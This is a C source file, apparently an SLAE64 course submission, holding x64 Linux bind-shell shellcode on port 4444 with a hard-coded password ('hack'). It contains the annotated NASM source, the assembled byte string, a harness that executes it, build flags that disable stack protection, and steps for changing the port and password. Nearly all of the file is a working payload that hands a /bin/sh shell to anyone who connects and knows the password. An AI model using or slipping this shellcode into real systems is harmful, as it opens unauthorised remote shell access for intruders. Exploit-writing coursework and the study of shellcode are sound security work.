/*---------------------------------------------------------------------------------------------------------------------
/*
*Title: tcp bindshell with password prompt in 162 bytes
*Author: Sathish kumar
*Contact: https://www.linkedin.com/in/sathish94
*Description: x64 Linux bind TCP port shellcode on port 4444 with reconfigurable password
*Tested On: Ubuntu 14.04 LTS
*SLAE64-1408
*Build/Run: gcc -fno-stack-protector -z execstack bindshell.c -o bindshell
* ./bindshell
* nc localhost 4444
*
*/
/*
* NOTE: This C code binds on port 4444
* The top of this file contains the .nasm source code
* The Port can be Reconfigured According to your needs
* Instructions for changing port number
* Port obtainer change the port value accorddingly
* port.py
* import socket
* port = 4444
* hex(socket.htons(port))
* python port.py
* Result : 0x5c11
* Replace the obtained value in the shellcode to change the port number
* For building the from .nasm source use
* nasm -felf64 filename.nasm -o filename.o
* ld filename.o -o filename
* To inspect for nulls
* objdump -M intel -D filename.o
global _start
_start:
jmp sock
prompt: db 'Passcode' ; initilization of prompt data
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
sock:
xor rax, rax ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases
xor rsi, rsi
mul rsi
push byte 0x2 ;pusing argument to the stack
pop rdi ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO
inc esi ; already rsi is 0 so incrementing the rsi register will make it 1
push byte 0x29 ; pushing the syscall number into the rax by using stack
pop rax
syscall
; copying the socket descripter from rax to rdi register so that we can use it further
xchg rax, rdi
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
; setting up the data sctructure
push 0x2 ;AF_INET value is 2 so we are pushing 0x2
mov word [rsp + 2],0x5c11 ;port 4444 htons hex value is 0x5c11 port values can be be obtained by following above instructions
push rsp ; saving the complete argument to rsi register
pop rsi
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
push rdx ; Inserting the null to the stack
push byte 0x10
pop rdx ; value of the rdx register is set to 16 size sockaddr
push byte 0x31
pop rax ; rax register is set with 49 syscall for bind
syscall
;listen the sockets for the incomming connections
; listen(sock, MAX_CLIENTS)
; syscall number 50
pop rsi
push 0x32
pop rax ; rax register is set to 50 syscall for listen
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
;syscall number 43
push 0x2b
pop rax ; rax register is set to 43 syscall for accept
syscall
; storing the client socket description
mov r9, rax
; close parent
push 0x3
pop rax ; closing the parent socket connection using close parent rax is set to 3 syscall to close parent
syscall
xchg rdi , r9
xor rsi , rsi
; initilization of dup2
push 0x3
pop rsi ; setting argument to 3
duplicate:
dec esi
mov al, 0x21 ;duplicate syscall applied to error,output and input using loop
syscall
jne duplicate
; Prompt for password
xor rax, rax
inc al ; rax register to value 1 syscall for write
push rax
pop rdi ; rdi register to value 1
lea rsi, [rel prompt]
xor rdx, rdx ; xor the rdx register to clear the previous values
push 0xe
pop rdx
syscall
; checking the password using read
password_check:
push rsp
pop rsi
xor rax, rax ; system read syscall value is 0 so rax is set to 0
syscall
push 0x6b636168 ; password to connect to shell is hack which is pushed in reverse and hex encoded
pop rax
lea rdi, [rel rsi]
scasd ; comparing the user input and stored password in the stack
jne Exit
execve: ; Execve format , execve("/bin/sh", 0 , 0)
xor rsi , rsi
mul rsi ; zeroed rax , rdx register
push ax ; terminate string with null
mov rbx , 0x68732f2f6e69622f ; "/bin//sh" in reverse order
push rbx
push rsp
pop rdi ; set RDI
push byte 0x3b ; execve syscall number (59)
pop rax
syscall
Exit:
;Exit shellcode if password is wrong
push 0x3c
pop rax ;syscall number for exit is 60
xor rdi, rdi
syscall
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x08\x50\x61\x73\x73\x63\x6f\x64\x65\x48\x31\xc0\x48\x31\xf6\x48\xf7\xe6\x6a\x02\x5f\xff\xc6\x6a\x29\x58\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02"
//Port number this can be obtained from the above instrcutions
"\x11\x5c"
"\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31\xc0\xfe\xc0\x50\x5f\x48\x8d\x35\x9d\xff\xff\xff\x48\x31\xd2\x6a\x0e\x5a\x0f\x05\x54\x5e\x48\x31\xc0\x0f\x05"
//Password this can be obtained by
/*
* python
* password = 'hack'
* (password[::-1]).encode('hex')
* Reuslt : 6b636168
* This is stored in reverse beacuse of stack
*
*
*/
"\x68\x68\x61\x63\x6b"
"\x58\x48\x8d\x3e\xaf\x75\x1a\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
